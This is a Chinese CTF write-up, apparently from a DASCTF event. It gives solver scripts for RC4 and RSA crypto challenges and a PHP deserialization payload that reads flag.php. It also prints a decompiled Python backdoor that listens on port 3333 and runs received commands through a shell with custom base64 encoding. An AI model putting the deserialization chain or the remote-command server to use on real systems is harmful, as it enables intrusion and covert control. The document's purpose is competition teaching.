
改个高度即可
crypto
crypto-rc4
t =[164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]key='love'for i in range(256): S[i], K[i]= i, ord(key[i%len(key)])
j=0for i in range(256): j=(j+S[i]+K[i])%256; S[i],S[j]=S[j],S[i]i,j=0,0for k in range(len(t)): i=(i+1)%256; j=(j+S[i])%256; S[i],S[j]=S[j],S[i]; t[k]^=S[(S[i]+S[j])%256]
print(t)
#
crypto-rsa-2
import gmpy2from Crypto.Util.number import *c = 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961e = 2n = 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644for i in range(5): if gmpy2.iroot(c+i*n,2)[1] == True: m = gmpy2.iroot(c+i*n,7)[0] breakprint(i)print(long_to_bytes(m))
crypto3
from Crypto.Util.number import *import gmpy2from math import gcd
def solve_part1(h, c1, n1): for k in range(1, 4096): a = k b = h - k c_val = -n1
discriminant = b*b - 4*a*c_val if discriminant < 0: continue
sqrt_disc = gmpy2.isqrt(discriminant)
for sign in [1, -1]: q_num = (-b + sign * sqrt_disc) if q_num > 0 and q_num % (2*a) == 0: q_candidate = q_num // (2*a)
if n1 % q_candidate == 0: p_candidate = n1 // q_candidate
if isPrime(p_candidate) and isPrime(q_candidate): print(f\"Found\") phi = (p_candidate - 1) * (q_candidate - 1) d = gmpy2.invert(65537, phi) m1 = pow(c1, int(d), n1) return long_to_bytes(m1)
return None
def solve_part2(phi, c2, n2): s = n2 - phi + 1
discriminant = s*s - 4*n2 sqrt_disc = gmpy2.isqrt(discriminant)
p1 = (s + sqrt_disc) // 2 q1 = (s - sqrt_disc) // 2
p, q = min(p1, q1), max(p1, q1) e_candidate = gmpy2.prev_prime(q) phi_calc = (p - 1) * (q - 1)
d = gmpy2.invert(e_candidate, phi_calc) m2 = pow(c2, int(d), n2) result = long_to_bytes(m2) return result
def main(): data = \"1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081,27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821,70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521,94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632,225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240,94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231\" parts = [int(x) for x in data.split(',')] h, c1, n1, phi, c2, n2 = parts
m1 = solve_part1(h, c1, n1) m2 = solve_part2(phi, c2, n2) flag = m1 + m2 print(flag)
if __name__ == \"__main__\": main()
web
code\_share
DASCTF{29785147276189365780318703589175}
pooop
简单的反序列化没什么好说的。
<?phpclass OutputHandler { public $processor; public $format; public function __construct() { $this->processor = new DataProcessor(); $this->format = \"html\";
}}class DataProcessor { public $reader; public function __construct() { $this->reader = new FileReader(); }}class FileReader { public $filename; public function __construct() { $this->filename = \"flag.php\"; }}echo urlencode(serialize(new OutputHandler()))?>
MISC
easyResQ
http请求中有一堆echo,直接tshark提取出来,然后简单处理一下。
protocol \_decryption
反编译得到pyc得到
# uncompyle6 version 3.9.3# Python bytecode version base 3.7.0 (3394)# Decompiled from: Python 3.8.20 (default, Oct 2 2024, 16:12:59)# [Clang 18.1.8 ]# Embedded file name: /home/k/s/2.py# Compiled at: 2024-10-29 19:24:25# Size of source mod 2**32: 1950 bytesimport socket, subprocessCUSTOM_BASE64_CHARS = \"LMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/XYZABCDEFGHIJK\"
def custom_base64_encode(data): binary_string = \"\".join((format(byte, \"08b\") for byte in data)) padding = len(binary_string) % 6 if padding: binary_string += \"0\" * (6 - padding) encoded_string = \"\" for i in range(0, len(binary_string), 6): chunk = binary_string[i[:i + 6]] index = int(chunk, 2) encoded_string += CUSTOM_BASE64_CHARS[index]
return encoded_string
def custom_base64_decode(encoded_string): binary_string = \"\" for char in encoded_string: index = CUSTOM_BASE64_CHARS.index(char) binary_string += format(index, \"06b\")
binary_string = binary_string.rstrip(\"0\") decoded_data = bytearray() for i in range(0, len(binary_string), 8): byte = binary_string[i[:i + 8]] if byte: decoded_data.append(int(byte, 2))
return bytes(decoded_data)
def execute_command(command): try: result = subprocess.run(command, shell=True, capture_output=True, text=True) return result.stdout + result.stderr except Exception as e: try: return str(e) finally: e = None del e
def start_server(): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 3333)) server_socket.listen() print(\"Server is listening...\") conn, addr = server_socket.accept() print(f\"Connected by {addr}\") while True: data = conn.recv(1024) if not data: break decoded_command = custom_base64_decode(data.decode()).decode() print(f\"Received command (decoded): {decoded_command}\") output = execute_command(decoded_command) encoded_output = custom_base64_encode(output.encode()) conn.sendall(encoded_output.encode())
conn.close()
if __name__ == \"__main__\": start_server()
在tcp流中可见,结合反编译代码是换表base64
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论